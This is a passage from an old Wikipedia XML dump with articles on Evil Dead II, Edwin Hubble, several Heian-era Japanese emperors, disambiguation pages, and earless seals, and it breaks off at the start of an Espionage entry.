Ash and his girlfiend Linda take a romantic vacation to a seemingly abandoned cabin in the woods.  While in the cabin, Ash plays a tape of a professor, the previous inhabitant, reciting passages from the [[Necronomicon]], or &quot;Book of the Dead&quot;, which he has discovered during an archaeological dig.  The replaying of this incantation unleashes an evil force, which kills and later possesses the body of Linda.  While Ash is dealing with this force, the professor's daughter and her boyfriend/research partner return from the dig with more pages of the necronomicon in tow, only to find the bridge leading to the part of the woods where the cabin resides destroyed.  They enlist the help of a local man and woman to guide them to the cabin, where the four of them find an embattered Ash, who is slowly being driven insane due to his encounter with the evil force.  Over the course of his battle, he has dismembered his girlfriend's corpse, severed his possessed hand (which he later is forced to battle with using a shotgun to comic effect), and witnessed various household appliances laughing at him.  He eventually attaches a chainsaw to the stump of his arm to help fight the &quot;evil dead,&quot; a fight joined by the other four (one of whom Ash has accidentally shot).  Eventually, as his allies die off one by one, Ash is forced to find the scattered pages of the Necronomicon in the basement (thrown down there by the local man in a failed attempt to take control of the group) where he battles the possessed dead body of the professor's wife.  With these pages, the professor's daughter is able to chant an incantation that will send the evil back to where it came from, and dies in the process.  The incantation, however, opens up a portal to the 13th century and send Ash, the sole survivor, back with it.

== Notes ==
===Sequel or remake?===
There is some question as to whether the film is a sequel or a remake, since the first film ends with [[Ash Williams|Ash]] (Campbell) apparently being run down by the invisible demon which killed all the other characters in the first film. However, after the recap at the beginning (which condenses the story to include only Ash and Linda, the only two characters from the first film important to the story of the sequel) Ash is hit by the same invisible force and the story continues from there.

Differences between the recap and the actual events of the first movie are mainly attributed to Raimi's inability to obtain footage from the first movie due to the rights being owned by several different companies in different worldwide territories. Following that, he decided to take a few creative licences with the story to help the flow of the plot. This is the film which introduces the famous chainsaw attached to Ash's arm.

The film was followed by ''[[Army of Darkness]]'', which continues with Ash's adventures in the medieval fantasy world into which he was transported at the end of ''Evil Dead II''. 

==External links==
*[http://www.badmovies.org/movies/2evildead/index.html Review, Screencaps &amp; Short Video Clip] at Badmovies.org
*[http://www.withinthewoods.co.uk/ Within the Woods] - Largest UK based appreciation site for ALL things Evil Dead.
*[http://www.deadites.net Deadites Online] - Web site with details and information about the Evil Dead trilogy
*[http://www.houseofhorrors.com/evildead2.htm Evil Dead II Information] at House of Horrors
*{{imdb title|id=0092991|title=Evil Dead II}}

{{Evil Dead}}

[[Category:1987 films]]
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[[Category:Zombie films|Evil Dead 2]]
[[Category:Cult films|Evil Dead 2]]
[[Category:Evil Dead|Evil Dead 2]]
[[Category:Films directed by Sam Raimi]]
[[Category:American films]]

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  <page>
    <title>Edgar Varèse</title>
    <id>10488</id>
    <revision>
      <id>24680601</id>
      <timestamp>2005-10-03T22:44:34Z</timestamp>
      <contributor>
        <username>Moe Epsilon</username>
        <id>327589</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Edgard Varèse]]</text>
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  </page>
  <page>
    <title>Edwin Hubble</title>
    <id>10489</id>
    <revision>
      <id>41388250</id>
      <timestamp>2006-02-27T00:28:10Z</timestamp>
      <contributor>
        <username>Yamamoto Ichiro</username>
        <id>224287</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/68.80.128.28|68.80.128.28]] ([[User talk:68.80.128.28|talk]]) to last version by Wiki alf</comment>
      <text xml:space="preserve">[[image:Edwin-hubble.JPG|thumb| Edwin Hubble]]'''Edwin Powell Hubble''' ([[November 20]], [[1889]] &amp;ndash; [[September 28]], [[1953]]) was an [[United States|American]] [[astronomer]], noted for his discovery of [[Galaxy|galaxies]] beyond the [[Milky Way]] and the [[Redshift|cosmological Redshift]]. Edwin Hubble was one of the first to argue that the red shift of distant galaxies is due to the [[Doppler effect]] induced by the expansion of the universe. He was one of the leading astronomers of modern times and laid down the foundation upon which [[physical cosmology]] now rests.

==Biography==
Hubble was born to an insurance executive in [[Marshfield, Missouri]] and moved to [[Wheaton, Illinois]] in [[1889]].  In his younger days, he was noted more for his athletic abilities rather than his intellectual genius, although he did earn good gades in every subject, except for spelling. He won seven first places{{fn|1}} and a third placing in a single high school meet in [[1906]]. That year he also set a state record for high jump in Illinois.

His studies at the [[University of Chicago]] concentrated on mathematics and astronomy which led to a B.S. degree in [[1910]]. He spent the next three years as one of Oxford's first [[Rhodes Scholarship|Rhodes Scholars]], where he studied in the field of law and received the [[Master's degree|M.A.]] degree, after which he returned to the [[United States]] as a high school teacher and a basketball coach in [[New Albany, Indiana]].


He served in World War I and quickly became [[Major]]. He returned to astronomy at the [[Yerkes Observatory]] of the University of Chicago, where he earned a [[Doctor of Philosophy|Ph.D.]] in [[1917]]. In [[1919]] Hubble was offered a staff position by [[George Ellery Hale]], the founder and director of Carnegie Institution's [[Mount Wilson Observatory]], near [[Pasadena, California]], where he remained until his death. He also served in the US army during World War II. Shortly before his death, Palomar's 200-inch [[Hale Telescope]] was completed; Hubble was the first to use it.
 
He died of a heart attack on [[September 28]], [[1953]], in [[San Marino, California]]. His wife, Grace, did not have a funeral for him and never revealed what was done with his body - it was apparently Hubble's wish to have no funeral service and be buried in an unmarked grave, or that he wanted to be [[cremated]]. As of [[2005]], the whereabouts of his remains are unknown.

==Discoveries==
===Galaxies exist beyond the Milky Way===
Hubble's arrival at Mount Wilson in [[1919]] coincided roughly with the completion of the 100-inch [[Mount Wilson Observatory#100 inch (2.5 m) Hooker telescope|Hooker Telescope]], then the world's most powerful telescope. Hubble's observations in [[1923]]&amp;ndash;[[1924]] with the Hooker Telescope established beyond doubt that the fuzzy &quot;[[nebulae]]&quot; seen earlier with less powerful telescopes were not part of our [[galaxy]], as had been thought, but were galaxies themselves, outside the [[Milky Way]]. He announced this discovery on [[December 30]], [[1924]].

Hubble also devised a classification system for galaxies, grouping them according to their content, distance, shape, size and brightness.

===The universe is expanding===
[[Image:100inchHooker.jpg|thumb|right|The 100 inch Hooker telescope at [[Mount Wilson Observatory]] that Hubble used to measure galaxy [[redshift]]s and discover the general [[expanding universe|expansion of the universe]].]]
Hubble was generally incorrectly credited with discovering{{fn|2}} the [[redshift]] of galaxies, these measurements and their significance were understood before 1917 by [[James Edward Keeler]] (Lick &amp; Allegheny), [[Vesto Melvin Slipher]] (Lowell), and Professor [[William Wallace Campbell]] (Lick) at other observatories. Combining his own measurements of galaxy distances with [[Vesto Slipher]]'s measurements of the redshifts associated with the galaxies, Hubble and Humason discovered a rough proportionality of the objects' distances with their redshifts. Though there was considerable scatter (now known to be due to peculiar velocities), Hubble and [[Humason]] were able to plot a trend line from the 46 galaxies they studied and obtained a value for the Hubble-Humeson constant of 500 km/s/Mpc, which is much higher than the currently accepted value due to errors in their distance calibrations. Such errors in determining distance continue to plague modern astronomers. See the article on [[cosmic distance ladder]] for more details. In [[1929]] Hubble and [[Milton Humason]] formulated the empirical [[Hubble's law|Redshift Distance Law]] of galaxies, nowadays termed simply [[Hubble's law]], which, if the redshift is interpreted as a measure of recession speed, is consistent with the solutions of [[Albert Einstein|Einstein]]’s [[General Relativity|General Relativity Equations]] for an homogeneous, isotropic expanding space [[de Sitter universe]] or [[de Sitter space]]. Although concepts underlying an [[expanding universe]] were well understood earlier{{fn|2}}, this statement by Hubble and Humeson lead to wider scale acceptance for this view. The law states that the greater the distance between any two galaxies, the greater their relative speed of separation.

This discovery later resulted in formulation of the [[Big Bang]] theory by [[George Gamow]] and [[Fred Hoyle]], a consequence of the observed velocities of distant galaxies that when taken together with the [[cosmological principle]] imply that space is expanding according to the [[Friedmann-Lemaître model]] of [[general relativity]].  

Earlier, in [[1917]], [[Albert Einstein]] had found that his newly developed General Theory of Relativity indicated that the universe must be either expanding or contracting. Unable to believe what his own equations were telling him, Einstein introduced a [[cosmological constant]] (a &quot;fudge factor&quot;) to the equations to avoid this &quot;problem&quot;. When Einstein heard of Hubble's discovery, he said that changing his equations was &quot;the biggest blunder of my life&quot;.{{fn|3}}

===Other discoveries===
Hubble discovered the [[asteroid]] [[1373 Cincinnati]] on [[August 30]], [[1935]]. He also wrote ''The Observational Approach to Cosmology'' and ''The Realm of the Nebulae'' around this time.

==Nobel Prize==
Hubble spent much of the later part of his career attempting to have astronomy considered an area of physics, instead of being its own science.  He did this largely so that astronomers could be recognized by the [[Nobel Prize]] Committee for their valuable contributions to astrophysics.  This campaign was long unsuccessful and unfortunately Hubble's great achievements would remain unrewarded.  Even though the Nobel Prize Committee decided that astronomy should fall under the description of physics, unfortunately this occurred in [[1953]] - but Hubble died Sept. 28, 1953, before he could ever receive this prize, or even informed that he should receive it (his wife was informed after his death), to this time the Nobel Prize is never awarded posthumously.

==Honors==
'''Awards'''
*[[Bruce Medal]] in [[1938]].
*[[Gold Medal of the Royal Astronomical Society]] in [[1940]].
*[[Medal of Merit]] for outstanding contribution to [[ballistics]] research in [[1946]]--''ARP''
'''Named after him'''
* [[Asteroid]] [[2069 Hubble]].
* [[Hubble (crater)|Hubble crater]] on the [[Moon]].
* Orbiting [[Hubble Space Telescope]].

==Footnotes==
*{{fnb|1}} For the record, these were discus, hammer throw, pole vault, standing and running high jump, shot put, mile-relay. The third-placing was for broad jump.
*{{fnb|2}} This had actually been observed by [[Vesto Slipher]] in the 1910s, but the world was largely unaware. Ref: Slipher (1917): Proc. Amer. Phil. Soc., 56, 403. 

:The world is also largely unaware that Hubble never believed that his own model of the expanding universe model was the correct one:

::&quot;… if redshift are not primarily due to velocity shift … the velocity-distance relation is linear, the distribution of the nebula is uniform, there is no evidence of expansion, no trace of curvature, no restriction of the time scale … and we find ourselves in the presence of one of the principle of nature that is still unknown to us today … whereas, if redshifts are velocity shifts which measure the rate of expansion, the expanding models are definitely inconsistent with the observations that have been made … expanding models are a forced interpretation of the observational results&quot; (E. Hubble, Ap. J., 84, 517, 1936.)

::&quot;[If the redshifts are a Doppler shift] … the observations as they stand lead to the anomaly of a closed universe, curiously small and dense, and, it may be added, suspiciously young. On the other hand, if redshifts are not Doppler effects, these anomalies disappear and the region observed appears as a small, homogeneous, but insignificant portion of a universe extended indefinitely both in space and time.&quot; (Royal Astronomical Society Monthly Notices, 17, 506, 1937).

*{{fnb|3}} [http://www.pbs.org/wnet/hawking/strange/html/strange_cosmo.html PBS] ''Cosmological Constant''.

==See also==
*[[Hubble's law]]
*[[Hubble Space Telescope]]

==Bibliography==
*Hubble E.P., ''The Observational Approach to Cosmology'' (Oxford, 1937).
*Hubble E.P., ''The Realm of the Nebulae'' (New Haven, 1936).

==External links==
*[http://www.time.com/time/time100/scientist/profile/hubble.html Time 100 Profile]
*[http://www.astro.louisville.edu/education/hubble_in_louisville/nahs/ Astronomy at the University of Louisville] - Photographs of Edwin Hubble at [[New Albany High School (Indiana)|New Albany High School]].
*[http://antwrp.gsfc.nasa.gov/diamond_jubilee/1996/sandage_hubble.html Edwin Hubble bio] - Written by [[Allan Sandage]]

[[Category:1889 births|Hubble, Edwin]]
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  <page>
    <title>Emperor Nimmyo</title>
    <id>10490</id>
    <revision>
      <id>31358533</id>
      <timestamp>2005-12-14T19:05:08Z</timestamp>
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      <text xml:space="preserve">'''Emperor Nimmyō''' (仁明天皇 ''Ninmyō Tennō'') ([[810]]&amp;ndash; [[March 21]], [[850]]) was the 54th [[Emperor of Japan|imperial ruler]] of [[Japan]], according to the traditional order of succession. He reigned from [[833]] to [[March 21]], [[850]]. His birth in name was '''Prince Masara''' (正良親王, ''Masara-shinnō''). He was the second son of [[Emperor Saga]] by the Empress [[Tachibana no Kachiko]].

He ascended to the throne following the abdication of his uncle, [[Emperor Junna]]. First he made a son of Junna the crown prince. Nine years later in [[842]] after a coup d'état that crown prince was replaced with Ninmyō's first son, Prince Michiyasu later [[Emperor Montoku]] whose mother was the Empress Fujiwara no Junshi, a daughter of [[Fujiwara no Fuyutsugu]]. It is supposed there was a political intrigue planned by Nimmyō and [[Fujiwara no Yoshifusa]], the second son of Fuyutsugu and uncle of the new crown prince.
 
In [[850]] he abdicated in favor of the Crown Prince Michiyasu who is known as [[Emperor Montoku]]. 
The successor of Montoku was the third son of Emperor Nimmyō, [[Emperor Koko|Prince Tokiyasu]].

{{japan-bio-stub}}

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[[de:Nimmy&amp;#333;]]
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  <page>
    <title>Emperor Montoku</title>
    <id>10491</id>
    <revision>
      <id>31358655</id>
      <timestamp>2005-12-14T19:06:06Z</timestamp>
      <contributor>
        <ip>69.196.4.226</ip>
      </contributor>
      <text xml:space="preserve">'''Emperor Montoku''' (文徳天皇 ''Montoku Tennō'') ([[827]]-[[858]]) was the 55th [[Emperor of Japan|imperial ruler]] of [[Japan]], according to the traditional order of succession. He reigned from [[850]] to [[858]] and was succeeded by his son [[Emperor Seiwa]].

{{japan-bio-stub}}

{{start box}}
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  <page>
    <title>Emperor Seiwa</title>
    <id>10492</id>
    <revision>
      <id>31358803</id>
      <timestamp>2005-12-14T19:07:24Z</timestamp>
      <contributor>
        <ip>69.196.4.226</ip>
      </contributor>
      <text xml:space="preserve">'''Emperor Seiwa''' (清和天皇 ''Seiwa Tennō'') (Third month, 25th day, [[850]] - Twelfth month, 4th day, [[880]]) was the 56th [[Emperor of Japan|imperial ruler]] of [[Japan]], according to the traditional order of succession. He reigned from the eleventh month, 7th day, [[858]] until the eleventh month, 29th day, [[876]].  His birth name was '''Korehito''' (惟仁).

== Genealogy ==
He was the fourth son of [[Emperor Montoku]].  His mother was a court lady named Meishi or Akirakeiko (明子), the daughter of [[Fujiwara no Yoshifusa]] (藤原良房).  He was the younger half-brother of Imperial Prince Koretaka (惟喬親王) (lived [[844]]-[[897]])
*[[868]]-[[949]] Imperial Prince Sadaakira (惟喬親王) ([[Emperor Yozei|Emperor Yōzei]])
*[[870]]-[[924]] Imperial Prince Sadayasu (貞明親王)
*???-[[930]] Imperial Princess Atsuko? (敦子内親王)
*???-[[930]] Imperial Prince Sadamoto (貞固親王)
*[[873]]-[[916]] Imperial Prince Sadasumi (貞純親王) - father of Minamoto no Tsunemoto (源経基), founder of the Seiwa [[Minamoto|Genji]], from whom the [[Kamakura shogunate]] and the [[Ashikaga shogunate]] were both descended, as well as from whom the [[Tokugawa shogunate]] claimed descent
*[[874]]-[[906]] Imperial Princess Shikiko (識子内親王) &lt;i&gt;saigū&lt;/i&gt; (Imperial Princess serving at [[Ise Shrine]])
*[[874]]-[[929]] Imperial Prince Sadatoki (貞辰親王)
*[[875]]-[[916]] Imperial Prince Sadakazu (貞数親王)
*[[876]]-[[922]] Imperial Prince Sadayori (貞頼親王)
*[[876]]-[[932]] Imperial Prince Sada?? (貞真親王)
Many other children, most of whom descended to subject status as members of the Minamoto Clan (Seiwa Genji, specifically)

==Life==
Originally under the guardianship of his maternal grandfather [[Fujiwara]] no Yoshifusa, he displaced Imperial Prince Koretaka (惟喬親王) as [[Crown Prince]].  Upon the death of his father in [[858]], Emperor Montoku, he became Emperor at the age of 8, but the real power was held by his grandfather, Yoshifusa.
*[[850]] Birth.  In the same year, investure as Crown Prince
*[[858]] Enthronement
*[[876]] Abdicates suddenly, enters Buddhist monastery
*[[880]] Dies

==Names==
From the site of his tomb, he was also referred to as Mizunoo (水尾) (see also [[Emperor Go-Mizunoo]])

==[[Japanese era name|Eras]] of his reign==
*[[Tennan]]
*[[Jogan|Jōgan]]

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  <page>
    <title>Emperor Yozei</title>
    <id>10493</id>
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      <text xml:space="preserve">[[Image:Hyakuninisshu 013.jpg|thumb|{{PAGENAME}} (From Ogura Hyakunin Isshu)]]
[[Image:Tomb of Emperor Yosei.jpg|right|thumbnail|Tomb of Emperor Yōzei, Kyoto]]
'''Emperor Yōzei''' (陽成天皇 ''Yōzei Tennō'') ([[869]]-[[949]]) was the 57th [[Emperor of Japan|imperial ruler]] of [[Japan]], according to the traditional order of succession. He took the throne in [[876]] following his father's abdication and reigned until being deposed in [[884]].  He was succeeded by his father's uncle, [[Emperor Koko|Emperor Kōkō]].

According to very scanty information from the Imperial archives, including sources such as Rikkokushi, and Nihon Sandai Jitsuroku, Emperor Yozei committed murder by killing one of his retainers, an action that caused massive scandal in the Heian court. Japanese society during the Heian era was very sensitive to issues of &quot;pollution&quot;, both spirtual and personal.  Deaths (especially killing animals or people) were the worst acts of pollution possible, and warranted days of seclusion in order to purify oneself. Since the Emperor was seen as a divine figure and linked to the deities, pollution of such extreme degree committed by the highest source was seen as extremely ruinous. Because many of the high court officials saw Emperor Yozei's actions as exceeding the bounds of acceptable behavior, he was forcibly deposed, and retired from the throne. 
{{japan-bio-stub}}

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  <page>
    <title>Emperor Koko</title>
    <id>10494</id>
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      <minor />
      <text xml:space="preserve">[[Image:Hyakuninisshu 015.jpg|thumb|{{PAGENAME}} (From Ogura Hyakunin Isshu)]]
'''Emperor Kōkō''' (光孝天皇 ''Kōkō Tennō'') ([[830]]-[[887]]) was the 58th [[Emperor of Japan|imperial ruler]] of [[Japan]], according to the traditional order of succession. He reigned from [[884]] to [[887]].

The first [[kampaku]] [[Fujiwara no Mototsune]] served him. He was succeeded by his son, [[Emperor Uda]].

{{japan-bio-stub}}

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  <page>
    <title>Emperor Uda</title>
    <id>10495</id>
    <revision>
      <id>31359888</id>
      <timestamp>2005-12-14T19:16:37Z</timestamp>
      <contributor>
        <ip>69.196.4.226</ip>
      </contributor>
      <text xml:space="preserve">'''Emperor Uda''' (宇多天皇 ''Uda Tennō'') ([[May 5]], [[867]]- [[July 19]], [[931]]) was the 59th [[Emperor of Japan|imperial ruler]] of [[Japan]], according to the traditional order of succession. He reigned from [[November 7]], [[887]] to [[July 3]], [[897]]. His birthname was '''Sadami''' (定省).

Emperor Uda was the seventh son of [[Emperor Koko|Emperor Kōkō]] by Princess Madarako whose grandfather was [[Emperor Kammu]]. His father, Emperor Kōkō, demoted his sons from the rank of imperial royals to that of subjects in order to reduce the state expenses, as well as their political influence. Then Sadami was given the clan name of [[Minamoto]] and named '''Minamoto no Sadami'''. Later, in [[887]], when  Kōkō needed to appoint his successor, Sadami was once again promoted to the Imperial Prince rank with support of [[Sessho and Kampaku|Kampaku]] ([[regent]]) [[Fujiwara no Mototsune]], since Sadami was adopted by a half-sister of Mototsune.

After the death of his father in November of that year, he ascended to the throne.

In the beginning of his reign, Mototsune held the office of Kampaku, serving as regent. After Mototsune's death, [[Fujirwara no Tokihira]] and [[Sugawara no Michizane]] were in Uda's favor.

Uda founded [[Ninnaji|Ninna-ji Temple]] and after his abdication made it his residence.

In [[897]] he abdicated in favor of his eldest son by a Fujiwara woman, [[Emperor Daigo|Prince Atsuhito]].

{{start box}}
{{succession box | before=[[Emperor Koko|Emperor Kōkō]] | title=[[List of Emperors of Japan|Emperor of Japan]] | after=[[Emperor Daigo]] | years=887-897}}
{{end box}}

[[Category:867 births|Uda]]
[[Category:931 deaths|Uda]]
[[Category:Japanese emperors|Uda]]

[[de:Uda (Kaiser)]]
[[ja:宇多天皇]]
[[zh:宇多天皇]]</text>
    </revision>
  </page>
  <page>
    <title>Daigo</title>
    <id>10496</id>
    <revision>
      <id>26895630</id>
      <timestamp>2005-10-30T17:42:08Z</timestamp>
      <contributor>
        <username>Elvenscout742</username>
        <id>154069</id>
      </contributor>
      <comment>What's Jipan :) ?</comment>
      <text xml:space="preserve">'''Daigo''' can refer to:
*[[Emperor Daigo]], [[Emperor of Japan]].
*[[Daigo family]], a Japanese noble family.
*[[Daigo, Fushimi, Kyoto]], a district of [[Fushimi, Kyoto|Fushimi ward]].
*[[Daigo, Ibaraki]], a town in [[Ibaraki Prefecture]].

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Suzaku</title>
    <id>10497</id>
    <revision>
      <id>41852471</id>
      <timestamp>2006-03-02T03:50:32Z</timestamp>
      <contributor>
        <username>Nihonjoe</username>
        <id>446342</id>
      </contributor>
      <minor />
      <comment>fix dbl redir</comment>
      <text xml:space="preserve">'''Suzaku''' can refer to:
*[[Emperor Suzaku]], [[emperor of Japan]].
*[[Suzaku, (Kyoto)]], one of ancient main streets in [[Kyoto]].
*[[SUZAKU FPGA Boards]], a line of small form-factor FPGA boards.
*'''Suzaku''', The [[ASTRO-E|ASTRO-EII]] spacecraft, a joint venture of NASA and the Japanese Space Agency JAXA  was  renamed &quot;Suzaku&quot; on [[July 10]], [[2005]].
*The Japanese name for Zhu Que, [[Fenghuang|phoenix]] guardian of the South, and one of the [[Ssu Ling]].
*Any of a number of [[anime]], [[manga]], or Japanese [[game]] representations or references to the aforementioned guardian of the South, including:
**A character in ''[[YuYu Hakusho]]'' who is the head of the Saint Beasts. Suzaku, with his bird friend Murg (Murugu) fight [[Yusuke Urameshi]] while Suzaku's infested minions stalk and attempt to kill [[Keiko Yukimura]] (Kayko Yukimura).
**A character in ''[[Descendants of Darkness]]'' (''Yami no Matsuei'') who is one of Tsuzuki's shikigami, or guardian beasts.
**A character in ''[[Fushigi Yūgi]]''.  It is the worshipped god of the southern kingdom, Hong Nan.  The Suzaku Seven protect the Priestess of Suzaku, Miaka, on her quest to summon the [[Phoenix (mythology)|phoenix]] god.  Its mortal enemy is the dragon Seiryu.
**The [[bitbeast]] companion of [[Kai Hiwatari]] in the [[Beyblade]] franchise.
{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Murakami</title>
    <id>10498</id>
    <revision>
      <id>41529228</id>
      <timestamp>2006-02-27T23:37:32Z</timestamp>
      <contributor>
        <username>Vald</username>
        <id>462750</id>
      </contributor>
      <comment>ru:</comment>
      <text xml:space="preserve">'''Murakami''' (村上) can refer to:
*[[Emperor Murakami]], [[emperor of Japan]].
*[[Murakami, Niigata]], a city in [[Niigata prefecture]].
*[[Haruki Murakami]], a writer of contemporary literature.
*[[Ryu Murakami]], writer of contemporary literature and filmmaker.
*[[Takashi Murakami]], modern artist and founder of the [[Superflat]] movement.
*[[Gennosuke Murakami]], a [[fictional character]] in the ''[[Usagi Yojimbo]]'' [[comic book]] series.

== See also ==
*[[Japanese name]]

{{disambig}}

[[Category:Japanese surnames]]

[[de:Murakami]]
[[pt:Murakami]]
[[ru:Мураками]]</text>
    </revision>
  </page>
  <page>
    <title>Earless seal</title>
    <id>10500</id>
    <revision>
      <id>38657203</id>
      <timestamp>2006-02-07T20:14:43Z</timestamp>
      <contributor>
        <username>Dinoguy2</username>
        <id>140946</id>
      </contributor>
      <comment>/* Classification */ +subfamilies and extinct species</comment>
      <text xml:space="preserve">{{Taxobox
| color = pink
| name = Earless Seals
| image = GreySealBottling.jpg
| image_caption = Grey seal, bottling
| regnum = [[Animal|Animalia]]
| phylum = [[Chordate|Chordata]]
| classis = [[Mammal|Mammalia]]
| ordo = [[Carnivora]]
| subordo = [[Pinniped|Pinnipedia]]
| familia = '''Phocidae'''
| familia_authority = [[John Edward Gray|Gray]], 1821
| subdivision_ranks = Genera
| subdivision = 
''[[Monachus]]'' (Monk Seals)&lt;br /&gt;
''[[Mirounga]]'' (Elephant Seal)&lt;br /&gt;
''[[Lobodon]]'' (Crabeater Seals)&lt;br /&gt;
''[[Leptonychotes]]''&lt;br /&gt;
''[[Hydrurga]]'' (Leopard Seals)&lt;br /&gt;
''[[Ommatophoca]]''&lt;br /&gt;
''[[Erignathus]]'' (Bearded Seals)&lt;br /&gt;
''[[Phoca]]''&lt;br /&gt;
''[[Halichoerus]]'' (Grey Seals)&lt;br /&gt;
''[[Cystophora]]'' (Hooded Seals)
}}
The '''true seals''' or '''earless seals''' are one of the three main groups of [[mammal]]s within the seal [[suborder]], [[Pinniped|Pinnipedia]]. All true seals are members of the family '''Phocidae'''. They are sometimes called ''crawling seals'', to distinguish them from the [[fur seal]]s and [[sea lion]]s of family [[Otariidae]].

[[Phocidae|Phocids]] are the more highly specialized for aquatic life of the two groups and, unlike [[Otariidae|otariids]], lack external ears and cannot bring their hind flippers under their body to walk on them.

They are more streamlined than [[fur seal]]s and [[sea lion]]s, and can therefore swim more effectively over long distances than those can. However, because they cannot turn their hind flippers downward, they are very clumsy on land, having to wriggle with their front flippers and abdominal muscles; this method of locomotion is called [[galumphing]] (see [[Jabberwocky]] for the origin of that word). 

Additionally, true seals do not communicate by &quot;barking&quot; like the [[fur seal]]s and [[sea lion]]s of family [[Otariidae]]. The communicate by slapping the water and grunting.


==Feeding and reproduction==
[[Image:Argentina-Puerto_Madrew-Sea_Lion.jpg|thumbnail|190px|left|Earless Seal in Argentina]]

While otariids are built for speed and maneuverability in the water, phocids are built for efficient, economical movement. This allows most phocids to make long foraging trips to exploit prey resources that are far from land, whereas otariids are tied to rich [[upwelling]] zones close to their breeding sites. The phocid reproductive cycle is characterized by temporal and spatial separation between feeding and maternal investment; in other words, a pregnant female spends a long period of time foraging at sea, building up her fat reserves, and then returns to the breeding site and uses her stored energy reserves to provide milk for her pup. It should be noted that the [[common seal]] ([[harbor seal]] in the U.S.), ''Phoca vitulina,'' does not separate foraging and maternal investment; instead, it displays a reproductive strategy similar to those of otariids, in which the mother makes short foraging trips between nursing bouts.

Because a phocid mother's feeding grounds are often hundreds of kilometers from the breeding site, this means that she must fast while she is lactating. This combination of fasting with lactation is one of the most unusual and extraordinary behaviors displayed by the Phocidae, because it requires the mother seal to provide large amounts of energy to her pup at a time when she herself is taking in no food (and often, no water) to replenish her stores. Because they must continue to burn fat reserves to supply their own metabolic needs while they are feeding their pups, phocid seals have developed an extremely thick, fat-rich milk that allows them to provide their pups with a large amount of energy in as small a period of time as possible. This allows the mother seal to maximize the efficiency of her energy transfer to the pup and then quickly return to sea to replenish her reserves. The length of lactation in phocids ranges from 28 days in the [[Northern Elephant Seal]] to just 3&amp;ndash;5 days in the [[Hooded Seal]]. The nursing period is ended by the mother, who departs to sea and leaves her pup at the breeding site. 
Pups will continue to nurse if given the opportunity, and &quot;milk stealers&quot; that suckle from unrelated, sleeping females are not uncommon; this often results in the death of the pup whose mother the milk was stolen from, as any single female can only produce enough milk to provision one pup.

Because the pup receives the milk energy from its mother so quickly, its development is typically not complete enough for it to begin foraging on its own as soon as the nursing period is complete. Seals, like all marine mammals, need time to develop the oxygen stores, swimming muscles and neural pathways necessary for effective diving and foraging. Because of this, most phocids undergo a postweaning fast, in which they remain on or near the breeding site and live off of the fat stores they acquired from their mothers until they are ready to begin foraging on their own. These pups typically eat no food and drink no water during the fast, although some polar species have been observed to eat snow. The postweaning fast ranges from 2 weeks in the [[Hooded Seal]] to 9-12 weeks in the [[Northern Elephant Seal]]. The physiological and behavioral adaptations that allow phocid pups to endure these remarkable fasts, which are among the longest for any mammal, remain an area of active study and research.

==Classification==
'''SUBORDER [[Pinniped|PINNIPEDIA]]'''
* Family [[Otariidae]]: fur seals and sea lions
* Family [[Odobenidae]]: Walrus
* '''Family Phocidae'''
** '''Subfamily Monachinae'''
*** '''Tribe Monachini'''
**** ''[[Monachopsis]]'' (extinct)
**** ''[[Pristiphoca]]'' (extinct)
**** ''[[Properiptychus]]'' (extinct)
**** ''[[Messiphoca]]'' (extinct)
**** ''[[Mesotaria]]'' (extinct)
**** ''[[Callophoca]]'' (extinct)
**** ''[[Pliophoca]]'' (extinct)
**** ''[[Pontophoca]]'' (extinct)
**** [[Hawaiian Monk Seal]], ''Monachus schauinslandi''
**** [[Mediterranean Monk Seal]], ''Monachus monachus''
**** [[Caribbean Monk Seal]], ''Monachus tropicalis'' (probably extinct around 1950)
*** '''Tribe Miroungini'''
**** [[Northern Elephant Seal]], ''Mirounga angustirostris''
**** [[Southern Elephant Seal]], ''Mirounga leonina''
*** '''Tribe Lobodontini'''
**** ''[[Monotherium]] wymani'' (extinct)
**** [[Ross Seal]], ''Ommatophoca rossi''
**** [[Crabeater Seal]], ''Lobodon carcinophagus''
**** [[Leopard Seal]], ''Hydrurga leptonyx''
**** [[Weddell Seal]], ''Leptonychotes weddellii''
*** [[Acrophoca|Swan-necked Seal]], ''Acrophoca longirostris'' (extinct)
*** ''[[Piscophoca]] pacifica'' (extinct)
*** ''[[Homiphoca]] capensis'' (extinct)
** '''Subfamily Phocinae'''
*** ''[[Kawas benegasorum]]'' (extinct)
*** ''[[Leptophoca]] lenis'' (extinct)
*** ''[[Preapusa]]'' (extinct)
*** ''[[Cryptophoca]]'' (extinct)
*** [[Bearded Seal]], ''Erignathus barbatus''
*** [[Hooded Seal]], ''Cystophora cristata''
*** '''Tribe Phocini'''
**** [[Common Seal]] or Harbor Seal, ''Phoca vitulina''
**** [[Spotted Seal]] or Larga Seal, ''Phoca largha''
**** [[Ringed Seal]], ''Phoca hispida''
**** [[Nerpa]] or Baikal Seal, ''Phoca sibirica''
**** [[Caspian Seal]]'', Phoca caspica''
**** [[Harp Seal]], ''Phoca groenlandica'' (or ''Pagophilus groenlandicus'')
**** [[Ribbon Seal]], ''Phoca fasciata''
**** ''[[Phocanella]]'' (extinct)
**** ''[[Platyphoca]]'' (extinct)
**** ''[[Gryphoca]]'' (extinct)
**** [[Grey Seal]], ''Halichoerus grypus''

[[Category:Pinnipeds]]

[[bg:Същински тюлени]]
[[ca:Foca]]
[[cs:tuleňovití]]
[[da:Ægte sæler]]
[[de:Hundsrobben]]
[[es:Phocidae]]
[[fr:Phocidae]]
[[he:כלבי ים]]
[[it:Foca]]
[[lt:Tikrieji ruoniai]]
[[nl:Zeehonden]]
[[ja:アザラシ]]
[[no:Hårselfamilien]]
[[nn:Ekte sel]]
[[pt:Foca]]
[[sv:Öronlösa sälar]]</text>
    </revision>
  </page>
  <page>
    <title>Espionage</title>
    <id>10501</id>
    <revision>
      <id>41947082</id>
      <timestamp>2006-03-02T20:36:53Z</timestamp>
      <contributor>
        <username>Durova</username>
        <id>521374</id>
      </contributor>
      <minor />
      <comment>/* Noteworthy incidents in the history of espionage */ Sorry, bishop [[Pierre Cauchon]] was no spy.  He didn't come in contact with her until after her capture in battle.  No espionage was involved.</comment>
      <text xml:space="preserve">{{redirect4|Spy|Secret agent}}

{{cleanup-date|February 2006}}

